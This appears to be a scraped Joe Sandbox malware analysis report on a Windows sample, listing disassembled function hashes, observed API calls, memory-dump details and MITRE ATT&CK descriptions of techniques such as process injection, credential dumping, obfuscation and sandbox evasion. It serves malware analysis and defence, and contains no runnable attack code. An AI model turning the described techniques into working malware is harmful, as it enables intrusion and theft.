Opcode Fuzzy Hash: a3bf8b0856bd486921a5987f0b690d308ff436b2b71151445029743936f1f89b
Instruction Fuzzy Hash: EED05E36B41420CFC724EEB8F9089E93BE5EF4961139001A6E40ED7260DA22DD15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A72B, Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4149ae7c5ddbccf2da5692a88ffacbe1112fa25c6345499218e2392e0c1c17
Instruction ID: 4aadbfa66fc87e8334aeca94422a9fa0ae93d4384a8ae47a6801efb7c1372ca1
Opcode Fuzzy Hash: cb4149ae7c5ddbccf2da5692a88ffacbe1112fa25c6345499218e2392e0c1c17
Instruction Fuzzy Hash: A8D02373F1031C570B04DED458505ED7F6ED784034B0004AED50DD7240DE71574543C6

Uniqueness

Uniqueness Score: -1.00%

Function 00C10468, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de75028da28dd5b17d97f1fcc1d05aba136bdf4c93511ff36735d47979afd120
Instruction ID: 5313caa8ce818821688425628677cd7d241a874dcc83a0f1e8b81f607a5bda62
Opcode Fuzzy Hash: de75028da28dd5b17d97f1fcc1d05aba136bdf4c93511ff36735d47979afd120
Instruction Fuzzy Hash: 12D05E30E0120CEFCB40EFB8E90159DBBF9EB44205F1049E9D808E7351EA712F04AB84

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A730, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738d3697974fd84fa7120589b6bd8546f86af09f87c8ba7589ae74dc3e625771
Instruction ID: f5749caf16f98c55ebdc211c84e152c535799fde5fc8098cfe10c6a0acaa823a
Opcode Fuzzy Hash: 738d3697974fd84fa7120589b6bd8546f86af09f87c8ba7589ae74dc3e625771
Instruction Fuzzy Hash: 4DD01273A0432C6B1704DAE954119DE7BAEDA84174B0144AAE60DD7640EE75698442D6

Uniqueness

Uniqueness Score: -1.00%

Function 00C15EF9, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a8324999d0157bee51d0ecb7678df4bd3a0f5443dd61798e30d39cb0c8bb6d7
Instruction ID: 6d37b319e89fc6ad401ef6cafedfb9ec6c56bf2c85bd646b6ad5d080de6f6c50
Opcode Fuzzy Hash: 6a8324999d0157bee51d0ecb7678df4bd3a0f5443dd61798e30d39cb0c8bb6d7
Instruction Fuzzy Hash: FCD05EB184E3C55FCB53877094516C83F394B53108F0A05C78290CA4A3C0B6495ED715

Uniqueness

Uniqueness Score: -1.00%

Function 00C15E7F, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27fd0d740b67d681b6ded3a71700a8f3374f3f5630c35b93f0f02d28f04037f8
Instruction ID: 7b1e62c8353a430ddd9ad3686438fb15a892b1b70a5e61a3cf981b2c3921fd89
Opcode Fuzzy Hash: 27fd0d740b67d681b6ded3a71700a8f3374f3f5630c35b93f0f02d28f04037f8
Instruction Fuzzy Hash: CEC08CF2C44349ABCB51DBA0A0C97CC3F2C8F60319F0108509F2450411A5F100AFDA08

Uniqueness

Uniqueness Score: -1.00%

Function 00C10440, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e9d1d88db0604874304087df908c517dd6aeb7478a94cb32e44a89c7271080d
Instruction ID: 872be95744c8fc9f14c130ca67c1ad6b009ef39445d362a94234c5d8cbde0323
Opcode Fuzzy Hash: 1e9d1d88db0604874304087df908c517dd6aeb7478a94cb32e44a89c7271080d
Instruction Fuzzy Hash: 01C04C9151CBC1AFEB13177CAD54B907F511B07616F8A02C5D9D0D64F7C6590815C377

Uniqueness

Uniqueness Score: -1.00%

Function 00C15E90, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61af2d8a1b6cb988f9630fc8373acb88f3d6a080c3c8d36a6157560a6ec6e008
Instruction ID: 872d1766f220bdfd9f43c71b37f5824bf741cc3062f1c58d53ac2cc4bc7e93e6
Opcode Fuzzy Hash: 61af2d8a1b6cb988f9630fc8373acb88f3d6a080c3c8d36a6157560a6ec6e008
Instruction Fuzzy Hash: AEB0123184470ECBC980FB90F4059487F2C55406097404C51951C45825DAF025ED978C

Uniqueness

Uniqueness Score: -1.00%

Function 00C1A70E, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.550727433.0000000000C10000.00000040.00000001.sdmp, Offset: 00C10000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcbfa935de4721b831e22b00159a95154fe520107ee116e3cb8f5b30a9ae432d
Instruction ID: be7a1fd5cb1bab66a51b5ac79ebfcf467d7475b892376efdd5d6af688f74a91a
Opcode Fuzzy Hash: bcbfa935de4721b831e22b00159a95154fe520107ee116e3cb8f5b30a9ae432d
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 7728.exe PID: 3676 Parent PID: 3352 7728.exeCOMMON

Executed Functions

Function 00B0003C, Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 00B0024D

Strings

cess, xrefs: 00B0018D
kernel32.dll, xrefs: 00B0008F, 00B00095

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: 7542df993745fcff554517fc2fffe42fb17577dd71943bf5a81cae2702fba6c9
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: F9526974A11229DFDB64CF58C984BA8BBB1BF09304F1480D9E54DAB391DB30AE85DF14

Uniqueness

Uniqueness Score: -1.00%

Function 00B00DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00B00223,?,?), ref: 00B00E02
SetErrorMode.KERNELBASE(00000000,?,?,00B00223,?,?), ref: 00B00E07

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 68de513db2260e303c9ca9b1764c375080aabd5005250b2a22351784ea416c49
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 4FD0123264522CB7DB002A94DC09BCEBF5CDF05BA6F008061FB0DE91C1CBB09A4046EA

Uniqueness

Uniqueness Score: -1.00%

Function 00A6C7C6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00A6C80E

Memory Dump Source

Source File: 00000023.00000002.567932521.0000000000A6C000.00000040.00000001.sdmp, Offset: 00A6C000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 82479e5e222c403e4d87d5a7f55a6daf0f859f7dbb008d2056b62b7b2d73a5c3
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 31F06D322007116BE7203BB9A88DA7A76F8AF89735F100628E693D24C1DB70E8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00BC244D, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00BC249E

Memory Dump Source

Source File: 00000023.00000002.572882462.0000000000BC1000.00000040.00000001.sdmp, Offset: 00BC1000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 175596a77c45584956c025d2eee6bee2184f6b3496782669f27be917fb1b8ee0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 34112D79A00208EFDB01DF98C985E98BBF5AF08751F058094F9489B362D771EA90DB80

Uniqueness

Uniqueness Score: -1.00%

Function 00A6C485, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00A6C4D6

Memory Dump Source

Source File: 00000023.00000002.567932521.0000000000A6C000.00000040.00000001.sdmp, Offset: 00A6C000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 633d3c991677ceb607aca9b86acb714d9283a7d86a7afaee7aa9b04ad3f35b42
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3A113F79A40208EFDB01DF98C985E99BBF5AF08350F058094F9499B361D375EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B7D6C5, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 491COMMON

Download Yara Rule

APIs

__wremove.LIBCMTD ref: 00B7D6DF

Part of subcall function 00B80480: __dosmaperr.LIBCMTD ref: 00B804B0

__wrename.LIBCMTD ref: 00B7D6E6

Part of subcall function 00B80430: __dosmaperr.LIBCMTD ref: 00B80464

Part of subcall function 00B7DDB4: __EH_prolog.LIBCMT ref: 00B7DDB9
Part of subcall function 00B7DDB4: std::_Mutex::_Mutex.LIBCPMTD ref: 00B7DDCE
Part of subcall function 00B7DDB4: new.LIBCPMTD ref: 00B7DDE6

Part of subcall function 00B7FED0: _doexit.LIBCMTD ref: 00B7FEDD

Strings

X<, xrefs: 00B7DA3B
\H, xrefs: 00B7D9ED

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: __dosmaperr$H_prologMutexMutex::___wremove__wrename_doexitstd::_
String ID: X<$\H
API String ID: 3428456302-1543833447
Opcode ID: 06481b014d595cd64a8222051f6a80fcee82ec06797fcf596792a4e20ee6aca9
Instruction ID: e4d15196c38196d25eb783010e2fa74e0723e629ba7d0ca154150c8f66369585
Opcode Fuzzy Hash: 06481b014d595cd64a8222051f6a80fcee82ec06797fcf596792a4e20ee6aca9
Instruction Fuzzy Hash: B6F1F872006664BBC3259BA1EE4CDEF7FACFF8A391B044525F25AA5020C7345645CBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00B84BC8, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

__getptd.LIBCMTD ref: 00B84BDD

Part of subcall function 00B85820: __getptd_noexit.LIBCMTD ref: 00B85826
Part of subcall function 00B85820: __amsg_exit.LIBCMTD ref: 00B85836

__getptd.LIBCMTD ref: 00B84BEB
___DestructExceptionObject.LIBCMTD ref: 00B84C58

Strings

csm, xrefs: 00B84BFC

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: __getptd$DestructExceptionObject__amsg_exit__getptd_noexit
String ID: csm
API String ID: 4182212180-1018135373
Opcode ID: b6f267e038114572608da5bba84644a382e2e452081a7a0bfeba4cf7ecfff114
Instruction ID: c40e72b634be0be972cf531da327afc397664fb707eade2f505cb9d571957ed0
Opcode Fuzzy Hash: b6f267e038114572608da5bba84644a382e2e452081a7a0bfeba4cf7ecfff114
Instruction Fuzzy Hash: BD11F874901209EBCB14EF55E4849AA7BF9FF94301F94C0A8E8095B221D731DE81CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DDB4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B7DDB9
std::_Mutex::_Mutex.LIBCPMTD ref: 00B7DDCE

Part of subcall function 00B7EE80: new.LIBCPMTD ref: 00B7EE9A

new.LIBCPMTD ref: 00B7DDE6

Part of subcall function 00B7EF60: __malloc_dbg.LIBCMTD ref: 00B7EF7A
Part of subcall function 00B7EF60: std::bad_alloc::bad_alloc.LIBCMTD ref: 00B7EFA8
Part of subcall function 00B7EF60: _atexit.LIBCMTD ref: 00B7EFB2
Part of subcall function 00B7EF60: __CxxThrowException@8.LIBCMTD ref: 00B7EFD0

Strings

kWI, xrefs: 00B7DDB4

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: Exception@8H_prologMutexMutex::_Throw__malloc_dbg_atexitstd::_std::bad_alloc::bad_alloc
String ID: kWI
API String ID: 118908588-1094307700
Opcode ID: 885455562dd3ebf599522ecc99a99237e9838e621097a2dc66afa541e925f9f8
Instruction ID: 5ec624536f89e5e92c4dc6fae5cb93b21a0395a13bec43676e3b99b33fc3f3fe
Opcode Fuzzy Hash: 885455562dd3ebf599522ecc99a99237e9838e621097a2dc66afa541e925f9f8
Instruction Fuzzy Hash: 99F08971A106109BD7246B788942B6D75E4EF04700F14CDFFE43AE7682DBB499008755

Uniqueness

Uniqueness Score: -1.00%

Function 00B822C0, Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

__CrtDbgReportW.LIBCMTD ref: 00B8233D
__errno.LIBCMTD ref: 00B82351
__invalid_parameter.LIBCMTD ref: 00B82372
__lock.LIBCMTD ref: 00B82383

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: Report__errno__invalid_parameter__lock
String ID:
API String ID: 1966429352-0
Opcode ID: 1291c5d1b1559de9141ce9c093d8032a50bd87cc993f266afdb4f6958618c1a5
Instruction ID: ffd30e999e3b8b5dd5e5c5fa756a75cf8da224e9dd2e2e014b28ab7f3119e86b
Opcode Fuzzy Hash: 1291c5d1b1559de9141ce9c093d8032a50bd87cc993f266afdb4f6958618c1a5
Instruction Fuzzy Hash: 0B31E2B0A54308AFDB10EF58CC55B9D7BE0FB14724F20427AF415AB2E0D7B99905CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B8527E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__getptd.LIBCMTD ref: 00B8527E

Part of subcall function 00B85820: __getptd_noexit.LIBCMTD ref: 00B85826
Part of subcall function 00B85820: __amsg_exit.LIBCMTD ref: 00B85836

__CxxThrowException@8.LIBCMTD ref: 00B85290

Strings

YPH, xrefs: 00B8529C

Memory Dump Source

Source File: 00000023.00000002.570082029.0000000000B00000.00000040.00000001.sdmp, Offset: 00B00000, based on PE: false

Similarity

API ID: Exception@8Throw__amsg_exit__getptd__getptd_noexit
String ID: YPH
API String ID: 3633066864-1586518235
Opcode ID: 8545148f4e787612f2902a52c6d57eb6343040e3fd7acd425dc39be1399b5e4a
Instruction ID: f9c45e2fdb2762f3f906d0164cb380f1235f031010ab3b5ed0d467e0281543a0
Opcode Fuzzy Hash: 8545148f4e787612f2902a52c6d57eb6343040e3fd7acd425dc39be1399b5e4a
Instruction Fuzzy Hash: ADC08C34600705AAE720BF64C807B6C3A61AB01320F9082E9B2781F3E2C7705A00C784

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report H4HU4rg1NM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
